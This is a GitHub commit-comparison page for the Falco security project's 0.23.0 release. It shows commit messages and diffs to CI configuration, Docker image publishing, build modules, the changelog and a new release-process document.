Compare commits

...

72 Commits

Author SHA1 Message Date
Leonardo Grasso
f3f512c6dd fix(.circleci): correct publishing command
Signed-off-by: Leonardo Grasso <me@leonardograsso.com>
2020-05-18 18:16:53 +02:00
Leonardo Grasso
8d79c11953 fix(CHANGELOG.md): correct typo
Signed-off-by: Leonardo Grasso <me@leonardograsso.com>

Co-authored-by: Leo Di Donato <leodidonato@gmail.com>
2020-05-18 16:56:21 +02:00
Leonardo Grasso
439152c8d8 docs: changelog for 0.23.0
Signed-off-by: Leonardo Grasso <me@leonardograsso.com>
2020-05-18 16:56:21 +02:00
Leonardo Grasso
3d3d537d85 update(docker/falco-driver-loader): propagate all args
Signed-off-by: Leonardo Grasso <me@leonardograsso.com>
2020-05-18 15:16:59 +02:00
Leonardo Grasso
88dbc78a44 fix(scripts/falco-driver-loader): exit when bpf download fails
Signed-off-by: Leonardo Grasso <me@leonardograsso.com>
2020-05-18 15:16:59 +02:00
Leonardo Grasso
59c2e6b421 update(scripts/falco-driver-loader): break apart logic
Signed-off-by: Leonardo Grasso <me@leonardograsso.com>
2020-05-18 15:16:59 +02:00
Leonardo Grasso
33c93e6c29 chore(scripts/falco-driver-loader): improve messages
Signed-off-by: Leonardo Grasso <me@leonardograsso.com>
2020-05-18 15:16:59 +02:00
Leonardo Grasso
46483339a3 fix(test): correct kernel module name
Signed-off-by: Leonardo Grasso <me@leonardograsso.com>
2020-05-18 14:08:25 +02:00
Leonardo Grasso
762ef015b8 fix(scripts): correct kernel module name
Signed-off-by: Leonardo Grasso <me@leonardograsso.com>
2020-05-18 14:08:25 +02:00
Leonardo Grasso
b887c92c91 docs(RELEASE.md): correct typo
Signed-off-by: Leonardo Grasso <me@leonardograsso.com>
2020-05-18 11:41:05 +02:00
Reshad Patuck
efd0bf1967 fix(falco-driver-loader): target for ubuntu is ubuntu-generic
The upstream files for the generic Ubuntu kernel are all called ubuntu-generic
see: https://dl.bintray.com/falcosecurity/driver/96bd9bc560f67742738eb7255aeb4d03046b8045/

Signed-off-by: Reshad Patuck <reshad@patuck.net>
2020-05-15 19:20:29 +02:00
Leo Di Donato
5c69639a69 update(.github): remove examples and integrations from PR template
Signed-off-by: Leonardo Di Donato <leodidonato@gmail.com>
2020-05-15 11:27:18 +02:00
Leonardo Grasso
b8875df48f fix(.circleci): correct no-driver image aliasing
Signed-off-by: Leonardo Grasso <me@leonardograsso.com>
2020-05-15 11:20:56 +02:00
Leonardo Grasso
368817a95d fix(docker/no-driver): correct config value substitution
Signed-off-by: Leonardo Grasso <me@leonardograsso.com>
2020-05-15 11:20:56 +02:00
Leonardo Grasso
622a6c1e44 fix(test/driver-loader): source script to get env vars populated
Signed-off-by: Leonardo Grasso <me@leonardograsso.com>
2020-05-15 11:19:31 +02:00
Leonardo Grasso
95e7242d13 test: add driver-loader integration tests
Signed-off-by: Leonardo Grasso <me@leonardograsso.com>
2020-05-15 11:19:31 +02:00
Leonardo Grasso
c42cb1858c update(docker/falco): rename folder for naminig consistency
Signed-off-by: Leonardo Grasso <me@leonardograsso.com>
2020-05-14 18:59:29 +02:00
Leonardo Grasso
935d9f5378 fix(docker/no-driver): enable time_format_iso_8601 by default
Signed-off-by: Leonardo Grasso <me@leonardograsso.com>
2020-05-14 18:59:29 +02:00
Leonardo Grasso
2345ea2770 new(docker): add falco-no-driver image
Signed-off-by: Leonardo Grasso <me@leonardograsso.com>
2020-05-14 18:59:29 +02:00
Leonardo Grasso
901239c3c8 docs(docker): add falcosecurity/falco-no-driver image
Signed-off-by: Leonardo Grasso <me@leonardograsso.com>
2020-05-14 18:59:29 +02:00
Lorenzo Fontana
d0f4f7cbb5 docs(tests): fix typo
Co-authored-by: Leonardo Grasso <me@leonardograsso.com>
Signed-off-by: Lorenzo Fontana <lo@linux.com>
2020-05-14 15:02:15 +02:00
Lorenzo Fontana
d67b3f5577 docs(CONTRIBUTING): mention the unit test page on CONTRIBUTING
Signed-off-by: Lorenzo Fontana <lo@linux.com>
2020-05-14 15:02:15 +02:00
Lorenzo Fontana
1d43d4eb40 build(tests): allow to pass FALCO_TESTS_ARGUMENTS to the tests target
Signed-off-by: Lorenzo Fontana <lo@linux.com>
2020-05-14 15:02:15 +02:00
Lorenzo Fontana
e9e2547a44 docs(tests): initial unit-tests readme
Signed-off-by: Lorenzo Fontana <lo@linux.com>
2020-05-14 15:02:15 +02:00
Leonardo Grasso
0f23a9477f update(docker/OWNERS): add myself to approvers
Signed-off-by: Leonardo Grasso <me@leonardograsso.com>
2020-05-14 14:09:46 +02:00
Leonardo Grasso
9242c45214 update(examples): move /examples to contrib repo
Signed-off-by: Leonardo Grasso <me@leonardograsso.com>
2020-05-14 12:54:09 +02:00
Leonardo Grasso
ede2ef8706 update(integration): move /integration to contrib repo
Signed-off-by: Leonardo Grasso <me@leonardograsso.com>
2020-05-13 15:15:40 +02:00
Leonardo Grasso
0c4074b7a9 update(docker): remove minimal image
Signed-off-by: Leonardo Grasso <me@leonardograsso.com>
2020-05-13 10:39:07 +02:00
Leonardo Grasso
05c684d68c test: add bin package (tar.gz) to integration test
Signed-off-by: Leonardo Grasso <me@leonardograsso.com>
2020-05-12 19:22:49 +02:00
Leonardo Grasso
a520a9b666 update(proposals/20200506-artifacts-scope-part-2.md): resolution about image naming
Signed-off-by: Leonardo Grasso <me@leonardograsso.com>
2020-05-12 18:53:46 +02:00
Leonardo Grasso
9393ae9e03 fix(proposals/20200506-artifacts-scope): typos
Signed-off-by: Leonardo Grasso <me@leonardograsso.com>
2020-05-12 18:53:46 +02:00
Leonardo Grasso
fcd2849a5d update(proposals/20200506-artifacts-scope): refinements
Signed-off-by: Leonardo Grasso <me@leonardograsso.com>

As per https://github.com/falcosecurity/falco/pull/1184/files#r420856406
2020-05-12 18:53:46 +02:00
Leo Di Donato
c7573c3db9 update(proposals/20200506-artifacts-scope-part-2): refinements to the future SoA of Falco artifacts and images
Signed-off-by: Leonardo Di Donato <leodidonato@gmail.com>
2020-05-12 18:53:46 +02:00
Leo Di Donato
737ef557ae update(proposals/20200506-artifacts-scope-part-1): improvements to SoA of Falco artifacts and images
Co-authored-by: Lorenzo Fontana <lo@linux.com>
Signed-off-by: Leonardo Di Donato <leodidonato@gmail.com>

Co-authored-by: Lorenzo Fontana <lo@linux.com>
2020-05-12 18:53:46 +02:00
Leonardo Grasso
078c98f847 docs(proposal): split artifacts scope proposal in 2 parts
Still some TODOs

Signed-off-by: Leonardo Grasso <me@leonardograsso.com>
2020-05-12 18:53:46 +02:00
Leonardo Grasso
63eafd2ff8 docs(proposals/20200504-falco-artifacts-scope.md): update from review
Signed-off-by: Leonardo Grasso <me@leonardograsso.com>
2020-05-12 18:53:46 +02:00
Leonardo Grasso
69714a8124 fix(proposals/20200504-falco-artifacts-scope.md): minor fixes
Co-Authored-By: Leonardo Di Donato <leodidonato@gmail.com>
Signed-off-by: Leonardo Grasso <me@leonardograsso.com>
2020-05-12 18:53:46 +02:00
Kris Nova
b6bbc27e57 feat(docs): "Official Support" is the highest and most coveted status.
Signed-off-by: Kris Nova <kris@nivenly.com>
2020-05-12 18:53:46 +02:00
Kris Nova
df3fc73e55 feat(docs): Updating proposal with new vernacular
Signed-off-by: Kris Nova <kris@nivenly.com>
2020-05-12 18:53:46 +02:00
Kris Nova
b9bf985fae feat(proposal): Adding artifacts scope and proposal
- Highlights scope of Falco
 - Highlights subprojects and groups evolution
 - Defines build artifacts
 - Defines artifact naming convention
 - Dictates that we take action to make these changes happen

Signed-off-by: Kris Nova <kris@nivenly.com>
2020-05-12 18:53:46 +02:00
Mark Stemm
8adcc95bac Add unit tests for ruleset handling
A new unit test file test_rulesets adds tests for the following:

 - enabling/disabling rules based on substrings
 - enabling/disabling rules based on exact matches
 - enabling/disabling rules based on tags

There are variants that test for default and non-default rulesets.

Signed-off-by: Mark Stemm <mark.stemm@gmail.com>
2020-05-11 14:15:42 +02:00
Mark Stemm
176d6f2bfe Make token bucket unit test pass valgrind
Previously, valgrind was complaining about the leaked token bucket.

Signed-off-by: Mark Stemm <mark.stemm@gmail.com>
2020-05-11 14:15:42 +02:00
Mark Stemm
7fd350d49a Allow exact matches for rule names
Currently, when calling enable_rule, the provided rule name pattern is a
substring match, that is if the rules file has a rule "My fantastic
rule", and you call engine->enable_rule("fantastic", true), the rule
will be enabled.

This can cause problems if one rule name is a complete subset of another
rule name e.g. rules "My rule" and "My rule is great", and calling
engine->enable_rule("My rule", true).

To allow for this case, add an alternate method enable_rule_exact() in
both default ruleset and ruleset variants. In this case, the rule name
must be an exact match.

In the underlying ruleset code, add a "match_exact" option to
falco_ruleset::enable() that denotes whether the substring is an exact
or substring match.

This doesn't change the default behavior of falco in any way, as the
existing calls still use enable_rule().

Signed-off-by: Mark Stemm <mark.stemm@gmail.com>
2020-05-11 14:15:42 +02:00
Leonardo Grasso
900a3b5860 refactor(docker): driverloader to falco-driver-loader
Signed-off-by: Leonardo Grasso <me@leonardograsso.com>
2020-05-08 18:08:03 +02:00
Leonardo Di Donato
3991552553 update(cmake/modules): bump driver version to 96bd9bc560f67742738eb7255aeb4d03046b8045
This driver version contains a fix for kernels < 3.17

Co-authored-by: Lorenzo Fontana <lo@linux.com>
Signed-off-by: Leonardo Di Donato <leodidonato@gmail.com>
2020-05-06 20:35:31 +02:00
Leonardo Grasso
83d5ce4d58 fix(.circleci): correct driverloader's base tag
Signed-off-by: Leonardo Grasso <me@leonardograsso.com>
2020-05-04 15:05:53 +02:00
Leonardo Grasso
2e703f0565 refactor(docker/driverloader): rename build arg
Co-Authored-By: Leonardo Di Donato <leodidonato@gmail.com>
Signed-off-by: Leonardo Grasso <me@leonardograsso.com>
2020-05-04 15:05:53 +02:00
Leonardo Grasso
24c0e80bd8 chore(docker): clean up unused set -e
Co-authored-by: Leonardo Di Donato <leodidonato@gmail.com>
Signed-off-by: Leonardo Grasso <me@leonardograsso.com>
2020-05-04 11:27:38 +02:00
Leonardo Grasso
5e421c9ac4 docs(docker): add driverloader into supported images
Signed-off-by: Leonardo Grasso <me@leonardograsso.com>
2020-05-04 11:27:38 +02:00
Leonardo Grasso
6a20526c4b update(.circleci): add steps to build and publish the driverloader image
Signed-off-by: Leonardo Grasso <me@leonardograsso.com>
2020-05-04 11:27:38 +02:00
Leonardo Grasso
63259f3885 new(docker/driverloader): docker image to load the driver
Signed-off-by: Leonardo Grasso <me@leonardograsso.com>
2020-05-04 11:27:38 +02:00
Lorenzo Fontana
9909af8bfb fix(scripts): fix ignored calls script to use the new paths
Co-Authored-By: Leonardo Di Donato <leodidonato@gmail.com>
Signed-off-by: Lorenzo Fontana <lo@linux.com>
2020-05-01 19:06:51 +02:00
Leonardo Di Donato
03670680ed fix(cmake/modules): update driver to support kernels 5.6.y
Co-authored-by: Lorenzo Fontana <lo@linux.com>
Signed-off-by: Leonardo Di Donato <leodidonato@gmail.com>
2020-04-30 20:11:57 +02:00
Lorenzo Fontana
0d34394817 fix: grpc compilation with splitted gpr library
Co-Authored-By: Leonardo Di Donato <leodidonato@gmail.com>
Signed-off-by: Lorenzo Fontana <lo@linux.com>
2020-04-30 08:31:02 -07:00
Stuxend
e51ee60646 fixing curl command error 0 bytes for CDN download.
Signed-off-by: Stuxend <friquet@gmail.com>
2020-04-29 19:11:48 +02:00
kaizhe
f27056c394 fix rule naming following naming convention
Signed-off-by: kaizhe <derek0405@gmail.com>
2020-04-28 18:18:06 +02:00
Leonardo Grasso
ca7398dbe1 docs(RELASE.md): apply suggestions from review
Co-authored-by: Lorenzo Fontana <lo@linux.com>
Signed-off-by: Leonardo Grasso <me@leonardograsso.com>
2020-04-28 18:16:27 +02:00
Leo Di Donato
3fe3bc42c2 docs(RELEASE.md): review document and apply corrections
Signed-off-by: Leonardo Grasso <me@leonardograsso.com>
Co-Authored-By: Leonardo Grasso <me@leonardograsso.com>
2020-04-28 18:16:27 +02:00
Leonardo Grasso
585f437326 docs: add release process
Signed-off-by: Leonardo Grasso <me@leonardograsso.com>
2020-04-28 18:16:27 +02:00
Lorenzo Fontana
d4d78349ad update(cmake/modules): catch2 version bump to v2.12.1
Signed-off-by: Lorenzo Fontana <lo@linux.com>
2020-04-24 15:44:08 +02:00
Leonardo Di Donato
8a1cae6989 fix(scripts): correct "drivers build gruid" URLs
Co-authored-by: Lorenzo Fontana <lo@linux.com>
Signed-off-by: Leonardo Di Donato <leodidonato@gmail.com>
2020-04-24 15:42:29 +02:00
Leonardo Grasso
9915b9077c update(docker/event-generator): remove the event-generator from the Falco repo
Signed-off-by: Leonardo Grasso <me@leonardograsso.com>
2020-04-24 15:40:50 +02:00
Leonardo Di Donato
26621ca381 fix(scripts): falco-driver-loader must infer the OS ID from the host
Co-authored-by: Lorenzo Fontana <lo@linux.com>
Signed-off-by: Leonardo Di Donato <leodidonato@gmail.com>
2020-04-24 11:28:05 +02:00
Leonardo Di Donato
3ec4b5b652 build: rename the driver to "falco" and setup the DBG URL
DBG stands for Drivers Build Grid, a repository holding a set of
prebuilt drivers (both Falco kernel modules and Falco eBPF probes).

Co-authored-by: Lorenzo Fontana <lo@linux.com>
Signed-off-by: Leonardo Di Donato <leodidonato@gmail.com>
2020-04-24 11:28:05 +02:00
Leonardo Di Donato
207f74b17c update(scripts): changes to falco-driver-loader to support the Falco
eBPF probes coming from the drivers build grid

Co-authored-by: Lorenzo Fontana <lo@linux.com>
Signed-off-by: Leonardo Di Donato <leodidonato@gmail.com>
2020-04-24 11:28:05 +02:00
Leonardo Di Donato
9baa3707dc fix(scripts): falco-driver-loader takes into account the new kernel modules URLs
The new Falco kernel modules URLs are:
`<base_url>/kernel-module/<driver_version>/falco_<target_id>_<kernel_release>_<kernel_version>`

Co-authored-by: Lorenzo Fontana <lo@linux.com>
Signed-off-by: Leonardo Di Donato <leodidonato@gmail.com>
2020-04-24 11:28:05 +02:00
Mark Stemm
357da40fc4 Only use metadata in k8s audit event for secrets
Instead of using the request object to identify service account tokens,
exclude any secrets activity by system users (e.g. users starting with
"system:"). This allows the rules to work on k8s audit events at
Metadata level instead of RequestResponse level.

Also change the example objects for automated tests to ones collected at
Metadata level.

Signed-off-by: Mark Stemm <mark.stemm@gmail.com>
2020-04-22 21:00:38 +02:00
Mark Stemm
9af7c7fd59 Tests for creating/deleting secrets rules
Add test to verify new rules for creating/deleting secrets. New trace
files for creating a secret/deleting a secret, and test cases that
verify that the rules trigger. Two additional test cases/traces file
tracks creating a service account token secret/kube-system secret and
ensures that the rules do *not* trigger.

Signed-off-by: Mark Stemm <mark.stemm@gmail.com>
2020-04-22 21:00:38 +02:00
Mark Stemm
026965bc6a Add rules to detect creating/deleting secrets
New rules K8s Secret Created/K8s Secret Deleted detect creating/deleting
secrets, following the pattern of the other "K8s XXX Created/Deleted"
rules. One minor difference is that service account token secrets are
excluded, as those are created automatically as namespaces are created.

Signed-off-by: Mark Stemm <mark.stemm@gmail.com>
2020-04-22 21:00:38 +02:00
kaizhe
3f90188d6e update audit level to Metadata for secrets
Signed-off-by: kaizhe <derek0405@gmail.com>
2020-04-22 20:57:29 +02:00
kaizhe
f7ac7f34b7 rename rule
Signed-off-by: kaizhe <derek0405@gmail.com>
2020-04-21 19:04:14 +02:00
kaizhe
a1145d9841 rule update: add a rule to detect reverse shell
Signed-off-by: kaizhe <derek0405@gmail.com>
2020-04-21 19:04:14 +02:00
137 changed files with 1552 additions and 4362 deletions

View File

@@ -138,6 +138,15 @@ jobs:
- run:
name: Execute integration tests
command: /usr/bin/entrypoint test
"tests/driver-loader/integration":
machine:
image: ubuntu-1604:202004-01
steps:
- attach_workspace:
at: /tmp/ws
- run:
name: Execute driver-loader integration tests
command: /tmp/ws/source/falco/test/driver-loader/run_test.sh /tmp/ws/build/release/
# Sign rpm packages
"rpm/sign":
docker:
@@ -208,26 +217,27 @@ jobs:
- checkout
- setup_remote_docker
- run:
name: Build and publish slim-dev
name: Build and publish no-driver-dev
command: |
FALCO_VERSION=$(cat /build/release/userspace/falco/config_falco.h | grep 'FALCO_VERSION ' | cut -d' ' -f3 | sed -e 's/^"//' -e 's/"$//')
docker build --build-arg VERSION_BUCKET=deb-dev --build-arg FALCO_VERSION=${FALCO_VERSION} -t falcosecurity/falco:master-slim docker/slim
docker build --build-arg VERSION_BUCKET=bin-dev --build-arg FALCO_VERSION=${FALCO_VERSION} -t falcosecurity/falco-no-driver:master docker/no-driver
docker tag falcosecurity/falco-no-driver:master falcosecurity/falco:master-slim
echo ${DOCKERHUB_SECRET} | docker login -u ${DOCKERHUB_USER} --password-stdin
docker push falcosecurity/falco-no-driver:master
docker push falcosecurity/falco:master-slim
- run:
name: Build and publish minimal-dev
command: |
FALCO_VERSION=$(cat /build/release/userspace/falco/config_falco.h | grep 'FALCO_VERSION ' | cut -d' ' -f3 | sed -e 's/^"//' -e 's/"$//')
docker build --build-arg VERSION_BUCKET=bin-dev --build-arg FALCO_VERSION=${FALCO_VERSION} -t falcosecurity/falco:master-minimal docker/minimal
echo ${DOCKERHUB_SECRET} | docker login -u ${DOCKERHUB_USER} --password-stdin
docker push falcosecurity/falco:master-minimal
- run:
name: Build and publish dev
command: |
FALCO_VERSION=$(cat /build/release/userspace/falco/config_falco.h | grep 'FALCO_VERSION ' | cut -d' ' -f3 | sed -e 's/^"//' -e 's/"$//')
docker build --build-arg VERSION_BUCKET=deb-dev --build-arg FALCO_VERSION=${FALCO_VERSION} -t falcosecurity/falco:master docker/stable
docker build --build-arg VERSION_BUCKET=deb-dev --build-arg FALCO_VERSION=${FALCO_VERSION} -t falcosecurity/falco:master docker/falco
echo ${DOCKERHUB_SECRET} | docker login -u ${DOCKERHUB_USER} --password-stdin
docker push falcosecurity/falco:master
- run:
name: Build and publish dev falco-driver-loader-dev
command: |
docker build --build-arg FALCO_IMAGE_TAG=master -t falcosecurity/falco-driver-loader:master docker/driver-loader
echo ${DOCKERHUB_SECRET} | docker login -u ${DOCKERHUB_USER} --password-stdin
docker push falcosecurity/falco-driver-loader:master
# Publish the packages
"publish/packages":
docker:
@@ -267,30 +277,33 @@ jobs:
- checkout
- setup_remote_docker
- run:
name: Build and publish slim
name: Build and publish no-driver
command: |
docker build --build-arg VERSION_BUCKET=deb --build-arg FALCO_VERSION=${CIRCLE_TAG} -t "falcosecurity/falco:${CIRCLE_TAG}-slim" docker/slim
docker tag "falcosecurity/falco:${CIRCLE_TAG}-slim" falcosecurity/falco:latest-slim
docker build --build-arg VERSION_BUCKET=bin --build-arg FALCO_VERSION=${CIRCLE_TAG} -t "falcosecurity/falco-no-driver:${CIRCLE_TAG}" docker/no-driver
docker tag "falcosecurity/falco-no-driver:${CIRCLE_TAG}" falcosecurity/falco-no-driver:latest
docker tag "falcosecurity/falco-no-driver:${CIRCLE_TAG}" "falcosecurity/falco:${CIRCLE_TAG}-slim"
docker tag "falcosecurity/falco-no-driver:${CIRCLE_TAG}" "falcosecurity/falco:latest-slim"
echo ${DOCKERHUB_SECRET} | docker login -u ${DOCKERHUB_USER} --password-stdin
docker push "falcosecurity/falco-no-driver:${CIRCLE_TAG}"
docker push "falcosecurity/falco-no-driver:latest"
docker push "falcosecurity/falco:${CIRCLE_TAG}-slim"
docker push "falcosecurity/falco:latest-slim"
- run:
name: Build and publish minimal
name: Build and publish falco
command: |
FALCO_VERSION=$(cat /build/release/userspace/falco/config_falco.h | grep 'FALCO_VERSION ' | cut -d' ' -f3 | sed -e 's/^"//' -e 's/"$//')
docker build --build-arg VERSION_BUCKET=bin --build-arg FALCO_VERSION=${FALCO_VERSION} -t "falcosecurity/falco:${CIRCLE_TAG}-minimal" docker/minimal
docker tag "falcosecurity/falco:${CIRCLE_TAG}-minimal" falcosecurity/falco:latest-minimal
echo ${DOCKERHUB_SECRET} | docker login -u ${DOCKERHUB_USER} --password-stdin
docker push "falcosecurity/falco:${CIRCLE_TAG}-minimal"
docker push "falcosecurity/falco:latest-minimal"
- run:
name: Build and publish stable
command: |
docker build --build-arg VERSION_BUCKET=deb --build-arg FALCO_VERSION=${CIRCLE_TAG} -t "falcosecurity/falco:${CIRCLE_TAG}" docker/stable
docker build --build-arg VERSION_BUCKET=deb --build-arg FALCO_VERSION=${CIRCLE_TAG} -t "falcosecurity/falco:${CIRCLE_TAG}" docker/falco
docker tag "falcosecurity/falco:${CIRCLE_TAG}" falcosecurity/falco:latest
echo ${DOCKERHUB_SECRET} | docker login -u ${DOCKERHUB_USER} --password-stdin
docker push "falcosecurity/falco:${CIRCLE_TAG}"
docker push "falcosecurity/falco:latest"
- run:
name: Build and publish falco-driver-loader
command: |
docker build --build-arg FALCO_IMAGE_TAG=${CIRCLE_TAG} -t "falcosecurity/falco-driver-loader:${CIRCLE_TAG}" docker/driver-loader
docker tag "falcosecurity/falco-driver-loader:${CIRCLE_TAG}" falcosecurity/falco-driver-loader:latest
echo ${DOCKERHUB_SECRET} | docker login -u ${DOCKERHUB_USER} --password-stdin
docker push "falcosecurity/falco-driver-loader:${CIRCLE_TAG}"
docker push "falcosecurity/falco-driver-loader:latest"
workflows:
version: 2
build_and_test:
@@ -302,6 +315,9 @@ workflows:
- "tests/integration":
requires:
- "build/centos7"
- "tests/driver-loader/integration":
requires:
- "build/centos7"
- "rpm/sign":
context: falco
filters:
@@ -329,6 +345,7 @@ workflows:
only: master
requires:
- "publish/packages-dev"
- "tests/driver-loader/integration"
release:
jobs:
- "build/centos7":

View File

@@ -40,12 +40,8 @@ Please remove the leading whitespace before the `/kind <>` you uncommented.
> /area engine
> /area examples
> /area rules
> /area integrations
> /area tests
> /area proposals

6
.gitignore vendored
View File

@@ -16,12 +16,6 @@ userspace/falco/lua/lpeg.so
userspace/engine/lua/lyaml
userspace/engine/lua/lyaml.lua
docker/event-generator/event_generator
docker/event-generator/mysqld
docker/event-generator/httpd
docker/event-generator/sha1sum
docker/event-generator/vipw
.vscode/*
.luacheckcache

View File

@@ -2,6 +2,48 @@
This file documents all notable changes to Falco. The release numbering uses [semantic versioning](http://semver.org).
## v0.23.0
Released on 2020-18-05
### Major Changes
* BREAKING CHANGE: the falco-driver-loader script now references `falco-probe.o` and `falco-probe.ko` as `falco.o` and `falco.ko` [[#1158](https://github.com/falcosecurity/falco/pull/1158)]
* BREAKING CHANGE: the `falco-driver-loader` script environment variable to use a custom repository to download drivers now uses the `DRIVERS_REPO` environment variable instead of `DRIVER_LOOKUP_URL`. This variable must contain the parent URI containing the following directory structure `/$driver_version$/falco_$target$_$kernelrelease$_$kernelversion$.[ko|o]`. e.g: [[#1160](https://github.com/falcosecurity/falco/pull/1160)]
* new(scripts): options and command-line usage for `falco-driver-loader` [[#1200](https://github.com/falcosecurity/falco/pull/1200)]
* new: ability to specify exact matches when adding rules to Falco engine (only API) [[#1185](https://github.com/falcosecurity/falco/pull/1185)]
* new(docker): add an image that wraps the `falco-driver-loader` with the toolchain [[#1192](https://github.com/falcosecurity/falco/pull/1192)]
* new(docker): add `falcosecurity/falco-no-driver` image [[#1205](https://github.com/falcosecurity/falco/pull/1205)]
### Minor Changes
* update(scripts): improve `falco-driver-loader` output messages [[#1200](https://github.com/falcosecurity/falco/pull/1200)]
* update: containers look for prebuilt drivers on the Drivers Build Grid [[#1158](https://github.com/falcosecurity/falco/pull/1158)]
* update: driver version bump to 96bd9bc560f67742738eb7255aeb4d03046b8045 [[#1190](https://github.com/falcosecurity/falco/pull/1190)]
* update(docker): now `falcosecurity/falco:slim-*` alias to `falcosecurity/falco-no-driver:*` [[#1205](https://github.com/falcosecurity/falco/pull/1205)]
* docs: instructions to run unit tests [[#1199](https://github.com/falcosecurity/falco/pull/1199)]
* docs(examples): move `/examples` to `contrib` repo [[#1191](https://github.com/falcosecurity/falco/pull/1191)]
* update(docker): remove `minimal` image [[#1196](https://github.com/falcosecurity/falco/pull/1196)]
* update(integration): move `/integrations` to `contrib` repo [[#1157](https://github.com/falcosecurity/falco/pull/1157)]
* https://dl.bintray.com/driver/$driver_version$/falco_$target$_$kernelrelease$_$kernelversion$.[ko|o]` [[#1160](https://github.com/falcosecurity/falco/pull/1160)]
* update(docker/event-generator): remove the event-generator from Falco repository [[#1156](https://github.com/falcosecurity/falco/pull/1156)]
* docs(examples): set audit level to metadata for object secrets [[#1153](https://github.com/falcosecurity/falco/pull/1153)]
### Bug Fixes
* fix(scripts): upstream files (prebuilt drivers) for the generic Ubuntu kernel contains "ubuntu-generic" [[#1212](https://github.com/falcosecurity/falco/pull/1212)]
* fix: support Falco driver on Linux kernels 5.6.y [[#1174](https://github.com/falcosecurity/falco/pull/1174)]
### Rule Changes
* rule(Redirect STDOUT/STDIN to Network Connection in Container): correct rule name as per rules naming convention [[#1164](https://github.com/falcosecurity/falco/pull/1164)]
* rule(Redirect STDOUT/STDIN to Network Connection in Container): new rule to detect Redirect stdout/stdin to network connection in container [[#1152](https://github.com/falcosecurity/falco/pull/1152)]
* rule(K8s Secret Created): new rule to track the creation of Kubernetes secrets (excluding kube-system and service account secrets) [[#1151](https://github.com/falcosecurity/falco/pull/1151)]
* rule(K8s Secret Deleted): new rule to track the deletion of Kubernetes secrets (excluding kube-system and service account secrets) [[#1151](https://github.com/falcosecurity/falco/pull/1151)]
## v0.22.1
Released on 2020-17-04

View File

@@ -71,9 +71,9 @@ set(CMAKE_CXX_FLAGS_RELEASE "-O3 -fno-strict-aliasing -DNDEBUG")
include(GetFalcoVersion)
set(PACKAGE_NAME "falco")
set(PROBE_NAME "falco-probe")
set(PROBE_NAME "falco")
set(PROBE_DEVICE_NAME "falco")
set(DRIVER_LOOKUP_URL "https://s3.amazonaws.com/download.draios.com")
set(DRIVERS_REPO "https://dl.bintray.com/falcosecurity/driver")
if(CMAKE_INSTALL_PREFIX_INITIALIZED_TO_DEFAULT)
set(CMAKE_INSTALL_PREFIX
/usr

View File

@@ -11,6 +11,7 @@
- [Rule type](#rule-type)
- [Coding Guidelines](#coding-guidelines)
- [C++](#c)
- [Unit testing](/tests/README.md)
- [Developer Certificate Of Origin](#developer-certificate-of-origin)
## Code of Conduct

79
RELEASE.md Normal file
View File

@@ -0,0 +1,79 @@
# Falco Release Process
Our release process is mostly automated, but we still need some manual steps to initiate and complete it.
Changes and new features are grouped in [milestones](https://github.com/falcosecurity/falco/milestones), the milestone with the next version represents what is going to be released.
Releases happen on a monthly cadence, towards the 16th of the on-going month, and we need to assign owners for each (usually we pair a new person with an experienced one). Assignees and the due date are proposed during the [weekly community call](https://github.com/falcosecurity/community). Note that hotfix releases can happen as soon as it is needed.
Finally, on the proposed due date the assignees for the upcoming release proceed with the processes described below.
## Pre-Release Checklist
### 1. Release notes
- Let `YYYY-MM-DD` the day before of the [latest release](https://github.com/falcosecurity/falco/releases)
- Check the release note block of every PR matching the `is:pr is:merged closed:>YYYY-MM-DD` [filter](https://github.com/falcosecurity/falco/pulls?q=is%3Apr+is%3Amerged+closed%3A%3EYYYY-MM-DD)
- Ensure the release note block follows the [commit convention](https://github.com/falcosecurity/falco/blob/master/CONTRIBUTING.md#commit-convention), otherwise fix its content
- If the PR has no milestone, assign it to the milestone currently undergoing release
- Check issues without a milestone (using [is:pr is:merged no:milestone closed:>YYYT-MM-DD](https://github.com/falcosecurity/falco/pulls?q=is%3Apr+is%3Amerged+no%3Amilestone+closed%3A%3EYYYT-MM-DD) filter) and add them to the milestone currently undergoing release
- Double-check that there are no more merged PRs without the target milestone assigned with the `is:pr is:merged no:milestone closed:>YYYT-MM-DD` [filters](https://github.com/falcosecurity/falco/pulls?q=is%3Apr+is%3Amerged+no%3Amilestone+closed%3A%3EYYYT-MM-DD), if any, fix them
### 2. Milestones
- Move the [tasks not completed](https://github.com/falcosecurity/falco/pulls?q=is%3Apr+is%3Aopen) to a new minor milestone
- Close the completed milestone
### 3. Release PR
- Double-check if any hard-coded version number is present in the code, it should be not present anywhere:
- If any, manually correct it then open an issue to automate version number bumping later
- Versions table in the `README.md` update itself automatically
- Generate the change log https://github.com/leodido/rn2md, or https://fs.fntlnz.wtf/falco/milestones-changelog.txt for the lazy people (it updates every 5 minutes)
- Add the lastest changes on top the previous `CHANGELOG.md`
- Submit a PR with the above modifications
- Await PR approval
## Release
Let `x.y.z` the new version.
### 1. Create a tag
- Once the release PR has got merged, and the CI has done its job on the master, git tag the new release
```
git pull
git checkout master
git tag x.y.z
git push origin x.y.z
```
> **N.B.**: do NOT use an annotated tag
- Wait for the CI to complete
### 2. Update the GitHub release
- [Draft a new release](https://github.com/falcosecurity/falco/releases/new)
- Use `x.y.z` both as tag version and release title
- Use the following template to fill the release description:
```
<!-- Copy the relevant part of the changelog here -->
### Statistics
| Merged PRs | Number |
|-------------------|---------|
| Not user-facing | x |
| Release note | x |
| Total | x |
<!-- Calculate stats and fill the above table -->
```
- Finally, publish the release!
## Post-Release tasks
Announce the new release to the world!
- Send an announcement to cncf-falco-dev@lists.cncf.io (plain text, please)
- Let folks in the slack #falco channel know about a new release came out

View File

@@ -14,8 +14,8 @@ include(ExternalProject)
set(CATCH2_INCLUDE ${CMAKE_BINARY_DIR}/catch2-prefix/include)
set(CATCH_EXTERNAL_URL URL https://github.com/catchorg/catch2/archive/v2.9.1.tar.gz URL_HASH
SHA256=0b36488aca6265e7be14da2c2d0c748b4ddb9c70a1ea4da75736699c629f14ac)
set(CATCH_EXTERNAL_URL URL https://github.com/catchorg/catch2/archive/v2.12.1.tar.gz URL_HASH
SHA256=e5635c082282ea518a8dd7ee89796c8026af8ea9068cd7402fb1615deacd91c3)
ExternalProject_Add(
catch2

View File

@@ -42,6 +42,15 @@ if(NOT USE_BUNDLED_DEPS)
message(FATAL_ERROR "Couldn't find system protobuf")
endif()
# gpr
find_library(GPR_LIB NAMES gpr)
if(GPR_LIB)
message(STATUS "Found gpr lib: ${GPR_LIB}")
else()
message(FATAL_ERROR "Couldn't find system gpr")
endif()
